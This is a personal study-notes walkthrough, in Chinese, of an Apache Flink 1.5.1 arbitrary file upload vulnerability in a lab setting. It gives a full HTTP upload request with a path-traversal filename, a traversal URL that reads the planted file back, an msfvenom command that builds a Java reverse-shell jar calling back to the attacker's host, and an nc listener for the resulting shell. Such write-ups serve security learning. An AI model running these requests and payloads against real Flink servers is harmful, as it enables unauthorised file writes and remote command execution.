以下为个人学习笔记和习题整理

# Apache Flink 文件上传

# 【原理】

Apache Flink 是由 Apache 软件基金会开发的开源流处理框架,其核心是用 Java 和 Scala 编写的分布式流数据流引擎。Flink 以数据并行和流水线方式执行任意流数据程序,Flink 的流水线运行时系统可以执行批处理和流处理程序。此外,Flink 的运行时本身也支持迭代算法的执行。Flink 在 1.5.1 版本中引入了一个 REST handler,这允许攻击者将已上传的文件写入本地任意位置的文件中,并且可通过一个恶意修改的 HTTP 头将这些文件写入到 Flink 1.5.1 可以访问的任意位置。

# 【工具】

  • 浏览器

# 【步骤】

访问:http://your-ip:8081 进入 Apache Flink 控制面板:

打开 BUrp 构造 POC,上传文件


POST /jars/upload HTTP/1.1
Host: 192.168.243.189:8081
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------13247690941547071692111317477
Content-Length: 250
Origin: http://192.168.243.189:8081
Connection: close
Referer: http://192.168.243.189:8081/

-----------------------------13247690941547071692111317477
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/success"
Content-Type: text/plain


success
-----------------------------13247690941547071692111317477-

此时,我们利用之前的任意文件读取漏洞,读取我们上传的文件,查看是否上传成功。

http://192.168.243.189:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252ftmp%252fsuccess

我们还可以上传 jar 马实现反弹监听从而远程命令执行

首先我们使用 kali 的 MSF 生成 jar 马:

msfvenom -p java/shell_reverse_tcp lhost=192.168.243. lport=5555 -f jar >/home/kali/Desktop/shell.jar

然后本地机器新建命令行窗口,使用 nc 进行端口监听:

nc -lvvp 5555

最后把生成的 jar 马通过 Submit New Job 模块进行上传:

点击 Submit 即可实现 jar 马反弹监听:

可以执行远程命令:

更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

Avenue-le 微信支付

微信支付

Avenue-le 支付宝

支付宝

Avenue-le beauty

beauty